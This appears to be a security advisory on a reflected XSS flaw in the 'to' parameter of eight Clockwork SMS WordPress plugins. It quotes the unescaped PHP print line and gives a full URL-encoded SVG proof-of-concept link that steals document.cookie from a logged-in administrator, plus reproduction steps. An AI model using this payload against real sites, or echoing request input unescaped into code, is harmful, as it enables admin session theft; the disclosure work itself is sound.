Clockwork SMS Cross Site Scripting

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Discoverer: Elias Dimopoulos  
Linkedin: https://gr.linkedin.com/in/dimopouloselias  
  
Vulnerability Type: Reflected XSS via GET parameter   
"to".  
Vendor of the affected plugins: https://www.clockworksms.com/plugins/  
  
Affected Plugins:  
----------------------------------------------------------------------------------------------------------  
1. Clockwork Free and Paid SMS Notifications  
URL: https://wordpress.org/plugins/mediaburst-email-to-sms/  
Version 2.0.3 | By Clockwork  
  
2. Two-Factor Authentication - Clockwork SMS  
URL: https://wordpress.org/plugins/clockwork-two-factor-authentication/  
Version 1.0.2 | By Clockwork  
  
3. Booking Calendar - Clockwork SMS  
URL: https://wordpress.org/plugins/booking-sms/  
Version 1.0.5 |By Mediaburst  
  
4. Contact Form 7 - Clockwork SMS  
URL: https://wordpress.org/plugins/contact-form-7-sms-addon/  
Version 2.3.0 |By Mediaburst  
  
5. Fast Secure Contact Form - Clockwork SMS  
URL: https://wordpress.org/plugins/fscf-sms/  
Version 2.1.2|By Mediaburst  
  
6. Formidable - Clockwork SMS  
URL: https://wordpress.org/plugins/formidable-sms/  
Version 1.0.2|By Mediaburst  
  
7. Gravity Forms - Clockwork SMS  
URL: https://wordpress.org/plugins/gravity-forms-sms-notifications/  
Version 2.2 |By Mediaburst  
  
8. WP e-Commerce - Clockwork SMS  
URL: https://wordpress.org/plugins/mediaburst-ecommerce-sms-notifications/  
Version 2.0.5 | By Mediaburst  
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Details:  
  
The vulnerability lies in the "to" parameter and can cause reflected XSS   
vulnerability.  
  
The issue is on the file   
plugins/clockwork-two-factor-authentication/templates/clockwork-test-message.php   
line 11:  
  
<p>You should now have received a text message to <?php print   
$_GET['to']; ?>. If you have not received this, copy and paste the   
contents of the textbox below into a support request.</p>  
  
the vulnerable code is the following:  
print $_GET['to'];  
  
There is a print of the variable "to", which can be controlled by the   
user. This leads to reflected XSS vulnerability.  
  
The vulnerability can be exploited against an administrator by using the   
following url:  
  
http://victim/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E  
  
A logged in Administrator, who will click on the above link, he will be   
introduced with a video picture. When he will click the video, the   
javascript code (an alert box for this poc) will be executed.  
  
In this case, the javascript code is just an alert box with the cookie,   
however any kind of malicious javascript code can be used.  
  
Reproduce:  
  
1. Login to your wordpress as an admin.  
2. Access the following link:  
  
http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E  
  
3. You should see the fake video.  
4. Click to see the video.  
5. The alert box should be executed.  
  
I used this kind of payload in order to bypass the Chrome XSS Auditor.  
  
Update on 12 Nov:  
This payload does not work anymore with Chrome. You can validate the   
issue from the source code in the following URL or, you can alter the   
payload in order to trigger the XSS.  
  
Changes in the code:  
  
https://plugins.trac.wordpress.org/changeset/1781424/clockwork-two-factor-authentication/trunk/templates/clockwork-test-message.php?old=706348&old_path=clockwork-two-factor-authentication%2Ftrunk%2Ftemplates%2Fclockwork-test-message.php   
  
  
Environment:  
  
The vulnerability has been tested against:  
  
Two-Factor Authentication - Clockwork SMS Version: 1.0.2  
WordPress 4.8.3 running Twenty Seventeen theme.  
Chrome Version 61.0.3163.100 (Official Build) (64-bit)  
  
  
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Note 1: The dynamic analysis (PoC) has been performed against the   
"Two-Factor Authentication - Clockwork SMS" . However, the file   
clockwork-test-message.php with the vulnerable code in line 11 , exists   
in every of the 8 aforementioned plugins.  
  
Note 2: gr33tz for the initial payload @brutelogic   
(https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/)  
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